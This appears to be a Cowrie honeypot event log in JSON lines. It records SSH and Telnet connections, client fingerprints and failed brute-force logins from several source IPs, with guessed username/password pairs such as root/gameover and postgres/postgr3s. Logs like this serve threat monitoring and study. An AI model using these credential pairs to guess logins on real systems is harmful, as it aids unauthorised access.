{"eventid":"cowrie.session.connect","src_ip":"72.253.251.7","src_port":43324,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebe98204c09a","protocol":"ssh","message":"New connection: 72.253.251.7:43324 (159.203.135.109:22) [session: ebe98204c09a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:36:38.675268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:36:38.679587Z","src_ip":"72.253.251.7","session":"ebe98204c09a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:36:38.796811Z","src_ip":"72.253.251.7","session":"ebe98204c09a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sammy","password":"password123","message":"login attempt [sammy/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:36:39.297714Z","src_ip":"72.253.251.7","session":"ebe98204c09a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:36:40.416412Z","src_ip":"72.253.251.7","session":"ebe98204c09a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.35410404205322,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:36:45.018737Z","src_ip":"137.184.155.248","session":"87015dff5822","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.180.10","src_port":45475,"dst_ip":"159.203.135.109","dst_port":22,"session":"cac770cab88c","protocol":"ssh","message":"New connection: 103.86.180.10:45475 (159.203.135.109:22) [session: cac770cab88c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:36:50.351017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:36:50.354579Z","src_ip":"103.86.180.10","session":"cac770cab88c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:36:50.546855Z","src_ip":"103.86.180.10","session":"cac770cab88c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"elasticsearch123456","message":"login attempt [es/elasticsearch123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:36:51.353466Z","src_ip":"103.86.180.10","session":"cac770cab88c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:36:52.550853Z","src_ip":"103.86.180.10","session":"cac770cab88c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":45306,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1c86c52453e","protocol":"ssh","message":"New connection: 41.86.34.139:45306 (10.17.0.5:22) [session: a1c86c52453e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:36:53.406701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:36:53.410532Z","src_ip":"41.86.34.139","session":"a1c86c52453e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:36:53.617962Z","src_ip":"41.86.34.139","session":"a1c86c52453e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgr3s","message":"login attempt [postgres/postgr3s] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:36:54.482170Z","src_ip":"41.86.34.139","session":"a1c86c52453e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:36:55.692608Z","src_ip":"41.86.34.139","session":"a1c86c52453e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":55714,"dst_ip":"10.17.0.5","dst_port":23,"session":"2039afa5c0e0","protocol":"telnet","message":"New connection: 137.184.155.248:55714 (10.17.0.5:23) [session: 2039afa5c0e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:36:56.649874Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":55730,"dst_ip":"10.17.0.5","dst_port":23,"session":"02b27417cc85","protocol":"telnet","message":"New connection: 137.184.155.248:55730 (10.17.0.5:23) [session: 02b27417cc85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:36:56.793309Z"}
{"eventid":"cowrie.session.closed","duration":51.454787492752075,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:37:01.912073Z","src_ip":"137.184.155.248","session":"37b1a09421c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.241.36.92","src_port":15914,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfa53f6e410e","protocol":"telnet","message":"New connection: 92.241.36.92:15914 (10.17.0.5:23) [session: cfa53f6e410e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:37:11.148694Z"}
{"eventid":"cowrie.session.closed","duration":15.772496223449707,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:37:26.921081Z","src_ip":"92.241.36.92","session":"cfa53f6e410e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":33852,"dst_ip":"10.17.0.5","dst_port":22,"session":"576704777f35","protocol":"ssh","message":"New connection: 186.4.240.226:33852 (10.17.0.5:22) [session: 576704777f35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:37:31.644547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:37:31.650795Z","src_ip":"186.4.240.226","session":"576704777f35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:37:31.740559Z","src_ip":"186.4.240.226","session":"576704777f35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gameover","message":"login attempt [root/gameover] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:37:32.126661Z","src_ip":"186.4.240.226","session":"576704777f35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:37:33.219187Z","src_ip":"186.4.240.226","session":"576704777f35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":34606,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1d472c661b8","protocol":"telnet","message":"New connection: 137.184.155.248:34606 (10.17.0.5:23) [session: e1d472c661b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:37:37.899684Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.253.251.7","src_port":60940,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ffdceb8a1e1","protocol":"ssh","message":"New connection: 72.253.251.7:60940 (159.203.135.109:22) [session: 4ffdceb8a1e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:37:39.154748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:37:39.162220Z","src_ip":"72.253.251.7","session":"4ffdceb8a1e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:37:39.279916Z","src_ip":"72.253.251.7","session":"4ffdceb8a1e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.4549229145050049,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:37:39.354167Z","src_ip":"137.184.155.248","session":"e1d472c661b8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"5tgbNHY^","message":"login attempt [root/5tgbNHY^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:37:39.780333Z","src_ip":"72.253.251.7","session":"4ffdceb8a1e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:37:40.900448Z","src_ip":"72.253.251.7","session":"4ffdceb8a1e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":34608,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8c61ee83d6a","protocol":"telnet","message":"New connection: 137.184.155.248:34608 (10.17.0.5:23) [session: d8c61ee83d6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:37:42.005614Z"}
{"eventid":"cowrie.session.closed","duration":48.18857383728027,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:37:44.838298Z","src_ip":"137.184.155.248","session":"2039afa5c0e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.180.10","src_port":53709,"dst_ip":"159.203.135.109","dst_port":22,"session":"9cf5ed384a54","protocol":"ssh","message":"New connection: 103.86.180.10:53709 (159.203.135.109:22) [session: 9cf5ed384a54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:37:48.229854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:37:48.236493Z","src_ip":"103.86.180.10","session":"9cf5ed384a54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.530980348587036,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:37:48.324213Z","src_ip":"137.184.155.248","session":"02b27417cc85","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:37:48.433902Z","src_ip":"103.86.180.10","session":"9cf5ed384a54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"1q2w3e4r","message":"login attempt [user2/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:37:49.255347Z","src_ip":"103.86.180.10","session":"9cf5ed384a54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:37:50.455724Z","src_ip":"103.86.180.10","session":"9cf5ed384a54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":41678,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6a8a71b9419","protocol":"telnet","message":"New connection: 137.184.155.248:41678 (10.17.0.5:23) [session: c6a8a71b9419]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:37:58.186378Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":45330,"dst_ip":"10.17.0.5","dst_port":22,"session":"28b27fdd4bf5","protocol":"ssh","message":"New connection: 41.86.34.139:45330 (10.17.0.5:22) [session: 28b27fdd4bf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:37:58.603766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:37:58.611415Z","src_ip":"41.86.34.139","session":"28b27fdd4bf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:37:58.819872Z","src_ip":"41.86.34.139","session":"28b27fdd4bf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"testme","message":"login attempt [test/testme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:37:59.679514Z","src_ip":"41.86.34.139","session":"28b27fdd4bf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:38:00.895955Z","src_ip":"41.86.34.139","session":"28b27fdd4bf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.494880676269531,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:38:03.681161Z","src_ip":"137.184.155.248","session":"c6a8a71b9419","protocol":"telnet"}
